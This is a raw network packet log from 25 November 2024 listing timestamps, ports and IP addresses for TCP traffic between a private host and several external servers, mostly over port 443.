Nov 25, 2024 16:21:45.003726006 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:45.003762960 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:45.003779888 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:45.043450117 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.050343037 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:45.050374031 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:45.050458908 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:45.050489902 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:45.050884008 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:45.057837963 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:45.076611042 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:45.076664925 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:45.076864958 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:45.079655886 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:45.079669952 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:45.083849907 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:45.083879948 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:45.151530027 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.153390884 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.153448105 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.154476881 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.154573917 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.155517101 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.155611038 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.196346045 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.196659088 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.196682930 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.197748899 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.197807074 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.198262930 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.198327065 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.202119112 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.202142000 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.247715950 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.247718096 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.247735977 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:45.293804884 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:45.445867062 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.445959091 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.446007013 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:45.448290110 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:45.448317051 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.482491970 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.482877016 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.482928991 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.483979940 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.484102011 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.484966040 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.485037088 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.504515886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:45.504554987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:45.526873112 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.526887894 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.537152052 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.537395000 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.537412882 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.538527012 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.538593054 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.538899899 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.538968086 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.571955919 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.588538885 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:45.588557959 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:45.624716997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:45.624730110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:45.635673046 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:46.051950932 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.052004099 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.052064896 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.053226948 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.053246021 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.060129881 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.060175896 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.060254097 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.060627937 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.060637951 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.072918892 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.072937012 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.073023081 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.073257923 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:46.073273897 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:46.343926907 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.344216108 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.344242096 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.345427990 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.345804930 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.345984936 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.345993996 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.350179911 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.357517958 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.357554913 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.358099937 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.358104944 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.387376070 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.393141985 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.411701918 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.411766052 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.412234068 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.412259102 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.412466049 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.412478924 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.412767887 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.412774086 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.413069010 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.413074017 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.427597046 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.428078890 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.428126097 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.428575039 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.428580046 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.460592985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:46.460949898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:46.504610062 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:46.505755901 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:46.505773067 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:46.506535053 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:46.506541014 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:46.506576061 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:46.506583929 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:46.607614994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:46.727632999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:46.787400961 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.787483931 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.787564039 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.788139105 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.788156986 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.788167000 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.788173914 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.791150093 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.791205883 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.791280985 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.791541100 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.791553974 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857309103 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857319117 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857399940 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857430935 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857449055 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.857553005 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.857878923 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.857898951 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.857923031 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.857928038 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.859107971 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.859113932 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.859262943 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.859268904 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.861805916 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.861841917 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.862020016 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.863085985 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.863111973 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.863266945 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.863435984 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.863454103 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.863701105 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.863713026 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.872998953 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.873060942 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.873186111 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.873233080 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.873241901 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.873259068 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.873267889 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.875840902 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.875883102 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.876220942 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.876358032 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.876374006 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.885235071 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.885289907 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.885552883 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.885574102 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.886135101 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.886193037 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.886204958 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:46.886220932 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.886239052 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.886254072 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:46.947469950 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.948034048 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.948060989 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:46.948782921 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:46.948787928 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.061109066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.061157942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.061213970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.061261892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.252998114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.253057003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.253072977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.253133059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.256110907 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.260442972 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.260466099 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.260505915 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.260529041 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.260545969 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.260560989 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.260572910 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.260664940 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.261202097 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.261220932 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.261230946 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.261235952 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.318778992 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.319009066 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.319024086 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.319365978 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.319667101 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.319741011 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.319787025 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.327361107 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.327706099 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.327774048 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.328157902 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.328500032 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.328587055 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.328654051 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.347132921 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.347177029 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.347301006 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.347579956 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:47.347594023 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:47.367343903 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.375329971 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.376113892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.376230955 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.377233982 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.378652096 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.378679037 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.380172968 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.380242109 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.380584955 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.380665064 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.380749941 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.380767107 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.412311077 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.412384987 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.412571907 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.427361012 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.427391052 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.427427053 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.427433968 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.437524080 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.438292027 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.438364983 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.438438892 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.440215111 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:47.440248966 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:47.710232019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.710308075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.734477997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:47.854530096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:47.971081972 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971092939 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971108913 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971144915 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971168041 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971174955 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.971180916 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971204996 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.971235991 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.971254110 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.981076002 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.981097937 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.981184006 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.981214046 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.981262922 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:47.981288910 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:47.981323004 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.018320084 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.018352032 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.018399000 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.018412113 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.018428087 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.018449068 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.026540041 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.026587963 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.028903008 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.028925896 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.028963089 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.028984070 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.029011011 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.029191971 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.037244081 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.037302017 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.049127102 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049153090 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049160957 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049194098 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049207926 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049211979 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.049216986 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049245119 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.049303055 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.049303055 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.049303055 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.086674929 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.086721897 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.086759090 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.086776018 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.086817980 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.086822987 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.086822987 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.086865902 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.099462032 CET	49875	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.099522114 CET	443	49875	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.172183990 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.172209978 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.172262907 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.172272921 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.172313929 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.182760000 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.182787895 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.182849884 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.182872057 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.182899952 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.183006048 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.185622931 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.185722113 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.185728073 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.185765028 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.187369108 CET	49874	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.187383890 CET	443	49874	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.213500023 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.213517904 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.213565111 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.213584900 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.213618994 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.213949919 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.227705002 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.227783918 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.249988079 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.250011921 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.250081062 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.250102997 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.250102997 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.250130892 CET	49873	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:48.250504971 CET	49873	443	192.168.2.5	104.117.182.66
